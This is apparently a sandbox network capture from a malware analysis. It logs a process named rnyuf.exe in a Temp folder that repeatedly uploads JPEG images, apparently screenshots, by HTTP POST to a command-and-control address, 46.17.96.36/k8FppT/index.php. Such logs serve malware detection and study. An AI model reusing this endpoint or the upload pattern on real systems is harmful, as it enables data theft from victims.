Aug 29, 2021 22:27:29.201000929 CEST	5886	OUT	Data Raw: 56 1d 46 29 a0 8f 5a 0b 0f 5a 61 61 c6 9b 46 45 19 a5 74 00 69 28 26 90 9a 40 38 53 c5 30 1a 76 6a 93 13 40 7a d1 de 90 9a 33 9a 00 53 47 6a 05 14 08 51 4b 8a 07 34 13 8a a0 0a 5f 7a 40 68 cd 02 b0 f1 4b 4d 07 9a 75 32 42 90 d2 d0 69 80 83 a5 2e Data Ascii: VF)ZZaaFEti(&@8S0vj@z3SGjQK4_z@hKMu2Bi.(P1NP)uJdZ`(65DfNM>0R(Jh;u4pxBcRzEM"e4`GqC;S39,>L2,:4
Aug 29, 2021 22:27:29.310905933 CEST	5940	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49780	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:30.364165068 CEST	5941	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----5ccf81e5d5beedf32ef8d7c3d7ac6c8c Host: 46.17.96.36 Content-Length: 108017 Cache-Control: no-cache
Aug 29, 2021 22:27:30.364429951 CEST	5941	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 63 63 66 38 31 65 35 64 35 62 65 65 64 66 33 32 65 66 38 64 37 63 33 64 37 61 63 36 63 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------5ccf81e5d5beedf32ef8d7c3d7ac6c8cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:30.364464045 CEST	5951	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:30.364554882 CEST	5954	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:30.399805069 CEST	5962	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:30.399867058 CEST	5967	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:30.400140047 CEST	5976	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:30.400685072 CEST	5979	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:30.435656071 CEST	5995	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:30.435725927 CEST	6006	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:30.435786963 CEST	6014	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:30.549608946 CEST	6050	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49783	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:30.824812889 CEST	6063	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716 Host: 46.17.96.36 Content-Length: 110651 Cache-Control: no-cache
Aug 29, 2021 22:27:30.824939966 CEST	6064	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 39 30 36 62 30 62 66 61 31 35 62 38 34 38 32 36 34 63 63 39 37 39 30 33 63 38 64 66 37 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0906b0bfa15b848264cc97903c8df716Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:30.825229883 CEST	6074	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:30.825316906 CEST	6076	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:30.857372046 CEST	6079	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:30.857424021 CEST	6082	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:30.857434988 CEST	6085	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:30.857777119 CEST	6097	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:30.857819080 CEST	6099	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:30.857836962 CEST	6102	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:30.889980078 CEST	6121	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:30.995279074 CEST	6182	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49784	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:31.234049082 CEST	6183	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716 Host: 46.17.96.36 Content-Length: 110651 Cache-Control: no-cache
Aug 29, 2021 22:27:31.234113932 CEST	6183	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 39 30 36 62 30 62 66 61 31 35 62 38 34 38 32 36 34 63 63 39 37 39 30 33 63 38 64 66 37 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0906b0bfa15b848264cc97903c8df716Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:31.234265089 CEST	6193	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:31.234348059 CEST	6196	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:31.269649982 CEST	6199	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:31.269723892 CEST	6202	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:31.269747972 CEST	6210	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:31.269874096 CEST	6216	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:31.269901037 CEST	6219	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:31.269995928 CEST	6222	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:27:31.305613995 CEST	6225	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:31.417326927 CEST	6295	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49785	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:31.650069952 CEST	6296	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----0906b0bfa15b848264cc97903c8df716 Host: 46.17.96.36 Content-Length: 110651 Cache-Control: no-cache
Aug 29, 2021 22:27:31.650162935 CEST	6296	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 39 30 36 62 30 62 66 61 31 35 62 38 34 38 32 36 34 63 63 39 37 39 30 33 63 38 64 66 37 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------0906b0bfa15b848264cc97903c8df716Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:31.650361061 CEST	6306	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:31.650473118 CEST	6308	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:31.682387114 CEST	6312	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:31.682432890 CEST	6314	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:31.682442904 CEST	6317	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:31.682641029 CEST	6329	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:31.682682991 CEST	6334	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:31.714725018 CEST	6337	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
